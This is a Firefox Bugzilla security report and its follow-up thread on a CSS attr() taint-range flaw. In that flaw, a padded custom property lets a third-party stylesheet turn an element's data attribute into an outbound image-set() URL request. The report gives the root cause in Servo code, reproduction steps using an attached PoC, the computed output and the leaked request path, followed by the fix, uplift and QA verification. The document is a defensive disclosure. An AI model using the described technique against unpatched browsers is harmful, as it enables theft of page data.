Closed Bug 2059655 Opened 4 months ago Closed 3 months ago

CSS `attr()` taint-range truncation lets third-party stylesheets exfiltrate element attributes

Categories

(Core :: CSS Parsing and Computation, defect)

defect

Tracking

()

VERIFIED FIXED
156 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox-esr153 --- disabled
firefox154 --- disabled
firefox155 + verified
firefox156 + verified

People

(Reporter: 5up3rh3i, Assigned: sukil)

References

(Regression)

Details

(4 keywords, Whiteboard: [client-bounty-form])

Attachments

(2 files, 2 external files)

932 bytes, text/html
Details
3.20 KB, text/x-python-script
Details
Attached file poc.html —

Summary

Firefox 154 enables generalized CSS attr() in all channels. Its security
model requires every value derived from attr() to remain tainted and makes a
declaration invalid if an attr-tainted value is used as or inside a URL.

The exact-substitution optimization in
servo/components/style/custom_properties.rs::do_substitute_chunk() records
the taint range using byte offsets from the original attr(...) or var(...)
reference, then returns the replacement CSS string. When the replacement is
longer than the reference, URLs after that stale range are parsed as untainted.

A cross-origin stylesheet can exploit this through a padded custom property.
The attached Firefox product PoC places an unknown value in a victim element's
data-secret attribute. The third-party stylesheet converts that value into a
relative image-set() URL. Firefox sends the resulting request to the
stylesheet origin:

GET port=8128 path=/victim-attribute-secret-7f3a91.png

Direct use and a short custom-property control are both rejected as required.
Only the padded custom-property value bypasses the taint check.

Tested Build

Mozilla CI Windows x64 ASAN Nightly:

Firefox: 154.0a1
BuildID: 20260718090721
SourceStamp: 1d0f3519e52671ddced90bd213a8fb6867473d61

The same vulnerable source is present at the latest main revision:

079065d33b0b788f93395938d10660927761dceb
2026-07-31

Generalized attr() was enabled by default in:

f4b9aefd3443240e777a70a3a2a312a2546df915
Bug 2038940 - Enable advanced css attr by default in all channels.

Security Contract

servo/components/style/custom_properties.rs documents the required
invariant:

/// In CSS Values and Units, values produced by `attr()` are considered attr()-tainted, as are
/// functions that contain an attr()-tainted value. Using an attr()-tainted value as or in a <url>
/// makes a declaration invalid at computed-value time.

The CSS Values and Units Level 5 security section explains that this rule
prevents third-party CSS from extracting arbitrary element attributes through
hostile URLs:

https://drafts.csswg.org/css-values-5/#attr-security

Root Cause

The affected branch is the exact-substitution fast path in
servo/components/style/custom_properties.rs:

if reference.start == start && reference.end == end {
    if let Some(taint) = attr_taint.filter(|_| substitution.attr_tainted) {
        taint.push(start, end);
    }
    return Ok(substitution);
}

start and end describe the source reference being replaced. For:

background-image: var(--secret-image);

they cover the short var(--secret-image) source string. The returned
substitution.css, however, is:

none, none, none, none, none, none, none, none, none, none, none, none,
image-set("victim-attribute-secret-7f3a91.png")

The image-set() URL begins after the stale taint range. URL parsing in
servo/components/style/url/mod.rs::CssUrl::parse_from_string() only rejects a
URL when its parser byte range overlaps an AttrTaintedRange, so the later URL
is accepted.

The bad coordinate assignment was introduced by:

ae73b9fb2d987a70508acac48775788348f977c8
Bug 1997583 - Support partial tainting for attr()-tainted values.

The non-fast path does not have this problem. ComputedValue::push() appends
the replacement first and records taint using positions in the output string.

Reproduction

Run:

cd poc
python server.py

While the server is running, open:

http://127.0.0.1:8127/poc.html

The victim page is served from port 8127. The attacker-controlled stylesheet is
served from port 8128. The attribute is static victim-page content; script does
not copy it into a URL.

The three computed values are:

{
  "direct": "none",
  "var-short": "none",
  "var-long": "none, none, none, none, none, none, none, none, none, none, none, none, image-set(url(\"http://127.0.0.1:8128/victim-attribute-secret-7f3a91.png\") 1dppx)"
}

The attacker endpoint receives:

GET port=8128 path=/victim-attribute-secret-7f3a91.png

The complete output from the tested ASAN Nightly is in
poc/firefox-154-asan-network.log.

Security Impact

A site that allows a third-party stylesheet gives that stylesheet styling
authority, but the CSS attr() taint rule is specifically intended to prevent
it from converting arbitrary DOM attributes into outbound URLs. This bug
bypasses that boundary and sends the full attribute value to the stylesheet
origin in one request.

Potentially affected attributes include application data stored in data-*
attributes and attribute-backed identifiers or tokens on styleable elements.
The attacker needs only CSS control; it does not need script execution or a
compromised content process.

Suggested Fix

The exact-substitution branch must record taint in coordinates of the returned
replacement string, not the original reference. For an attr-tainted exact
substitution, the returned substitution is tainted as a whole:

if reference.start == start && reference.end == end {
    if let Some(taint) = attr_taint.filter(|_| substitution.attr_tainted) {
        taint.push(0, substitution.css.len());
    }
    return Ok(substitution);
}

Alternatively, the branch can use the normal append path so taint positions are
derived from the output buffer.

Add a regression test to css/css-values/attr-security.html in which a
custom property contains enough valid image-list tokens before
image-set(attr(...)) to place the URL beyond the length of the var()
reference. Both the computed declaration and the network request must remain
blocked.

Flags: sec-bounty?
Attached file server.py —
Group: firefox-core-security → layout-core-security
Component: Security → CSS Parsing and Computation
Product: Firefox → Core

Looks like a valid issue, bypassing the intended security boundary. @sukil, do you have any cycles to look into this?

Severity: -- → S2
Flags: needinfo?(sukil)

Ah that is an interesting bypass, I guess we are only marking the pre-substituted reference range as tainted, whereas it's the post substitution segment that needed to be marked as tainted. Off quick inspection, something like taint.push(start, substitution.css.len()); may work (fallback might cause complications). But yes will dig into this.

Assignee: nobody → sukil
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Flags: needinfo?(sukil)
Attached file (secure) —

[Tracking Requested - why for this release]: Seems we should avoid shipping with this issue if we can.

Duplicate of this bug: 2063356
Pushed by sukil@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/5e480f6e4b7c https://hg.mozilla.org/integration/autoland/rev/ead18ec7e299 Update tainted range to be relative to substituted value. r=firefox-style-system-reviewers,emilio

The rating assigned by our bug rating tool (currently under development) is:

Rating: sec-moderate

Explanation: Confirmed from source. In do_substitute_chunk's exact-substitution fast path (custom_properties.rs ~L1764), the returned output is substitution.css, but attr()-taint is recorded as taint.push(start, end) using the byte offsets of the source var()/attr() reference in the pre-substitution string rather than offsets into the returned output. AttrTaint ranges are otherwise defined in output-string coordinates (ComputedValue::push L932-936, new_fully_tainted L1638), and URL rejection (CssUrl::parse_from_string, url/mod.rs L55-58; should_disallow_urls_in_range overlap test L780) uses the URL's offsets in that output string. When the expansion is longer than the reference (padded with dummy tokens), a later image-set(url(...)) falls outside the stale taint range, so it is not flagged and the cross-origin request is sent. This bypasses the attr()-taint boundary intended to stop CSS with styling authority (linked third-party stylesheet or injected CSS) from exfiltrating arbitrary DOM attribute values, leaking the full attribute (e.g. data-* tokens) to the stylesheet origin in one request with only CSS control (no script, no compromised process). Rated sec-moderate rather than sec-high because the attacker must already hold CSS authority over the victim page, limiting scope; it is a defense-in-depth bypass usable to escalate/combine with CSS-injection footholds. Reachable in default config (advanced attr() enabled in all channels).

Keywords: sec-moderate
Group: layout-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 months ago
Resolution: --- → FIXED
Target Milestone: --- → 156 Branch

Getting confirmation about the affected versions before setting status and tracking (Bug 2038940)

This is behind a pref that is only enabled in Fx155+ via Bug 2038940

The patch landed in nightly and beta is affected.
:sukil, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(sukil)

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Sec bug
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: yes
  • Steps to reproduce for manual QE testing: Comment 0
  • Risk associated with taking this patch: low
  • Explanation of risk level: Pretty simple fix.
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9628590 - Flags: approval-mozilla-beta?
Flags: qe-verify+
Flags: in-testsuite+
Attachment #9628590 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Keywords: regression
Regressed by: 2038940
Flags: needinfo?(sukil)
QA Whiteboard: [sec] [qa-triage-done-c156/b155] [uplift]

Managed to reproduce the issue on Firefox 155.0a1 (2026-07-30) (64-bit), under Windows 11.
On Firefox 155.0b4 and on Firefox 156.0a1 (2026-08-26) I have this result:
{
"direct": "none",
"var-short": "none",
"var-long": "none"
}
Could you please confirm that this is the expected result?

Flags: needinfo?(5up3rh3i)

Yes, that is the expected result after the fix.

On a vulnerable build, the expected result is:

  • direct: none
  • var-short: none
  • var-long: an image-set(...) value containing the data-secret attribute

The vulnerable build also sends a request for
/victim-attribute-secret-7f3a91.png to the stylesheet origin.

On a fixed build, all three values should be "none", and the attribute-derived
PNG request should not occur.

I confirmed that commit 5e480f6e4b7c465781622bbf4dbf0e604f2cfae7
("Bug 2059655 - Update tainted range to be relative to substituted value")
corrects the exact stale-range calculation described in the report.

Therefore, the results on Firefox 155.0b4 and Firefox 156.0a1 are consistent
with the issue being fixed. The issue remains reproducible on Firefox 155.0a1
(2026-07-30).

Flags: needinfo?(5up3rh3i)

Based on Comment 16 and Comment 17, I am marking this issue as verified.

Status: RESOLVED → VERIFIED
QA Whiteboard: [sec] [qa-triage-done-c156/b155] [uplift] → [sec] [qa-triage-done-c156/b155] [uplift] [qa-ver-done-c156-b155]
Flags: qe-verify+
Flags: sec-bounty? → sec-bounty+
Keywords: csectype-sop
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: